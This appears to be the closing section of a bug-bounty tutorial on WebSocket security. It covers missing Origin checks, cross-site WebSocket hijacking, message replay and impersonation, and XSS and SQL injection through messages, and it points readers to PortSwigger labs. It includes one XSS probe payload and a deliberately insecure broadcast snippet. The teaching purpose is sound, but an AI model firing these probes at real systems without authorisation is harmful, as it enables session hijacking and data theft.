They look like progress. Real-time chat. Instant updates. Multiplayer fun. Trading dashboards that feel alive.

But the moment a developer ships a WebSocket feature, they ship a long-lived, cookie-attached, bidirectional channel that breaks several intuitions:

  • The handshake authenticates the connection, not each action.
  • The browser sends cookies even for cross-origin WebSockets, without asking the developer first.
  • Messages flow back to other users' browsers and get rendered there, with the same XSS risks as classic HTML.
  • The server-side handler receives untrusted input, with the same SQL injection risks as any HTTP endpoint.

Every time a developer writes:

javascript
const wss = new WebSocket.Server({ server });
wss.on('connection', ws => ws.on('message', m => broadcast(m)));

A new WebSocket bug is born somewhere in the world.

Your job is to look at any real-time feature and ask four questions:

  • What does the handshake look like? Is `Origin` checked?
  • What identity does the server attach to this connection? Is the identity claimed by messages trusted or verified?
  • What happens to each message? Does it flow into HTML, into SQL, into a shell, into a parser?
  • Does the connection re-authorize each action, or does it trust everything because the handshake passed?

If any answer takes you to a place where an attacker controls a decision, you have found a bug.

When you see a chat widget, ask: "What if I post `<img src=1 onerror=alert(1)>` here?"

When you see a trading dashboard, ask: "What if I replay the order 50 times?"

When you see a multiplayer game, ask: "Can I send messages claiming to be another player?"

When you see a customer-support tool, ask: "Can an unauthenticated attacker from another domain open this WebSocket using a logged-in agent's cookies?"

When you see `X-Forwarded-For` in the handshake, ask: "Did the server fall for it?"

If the answer takes you to private data, admin features, or impersonation, you have found a bug worth thousands of dollars.

The three PortSwigger labs are your training ground. The first teaches you to tamper with messages. The second teaches you to hijack the entire connection from another origin. The third teaches you that the handshake is itself an attack surface. Master those three, and you understand the bug class.

The Burp Repeater pencil icon is your secret weapon. Memorize it.

The CSWSH HTML template is your bread-and-butter PoC. Memorize it.

The Origin check is the single most-missed control in modern WebSocket deployments. Test for it everywhere.

  • Welcome to the world of long-lived bidirectional sessions, where every message is a chance and every silence is a clue.
  • Go hunt.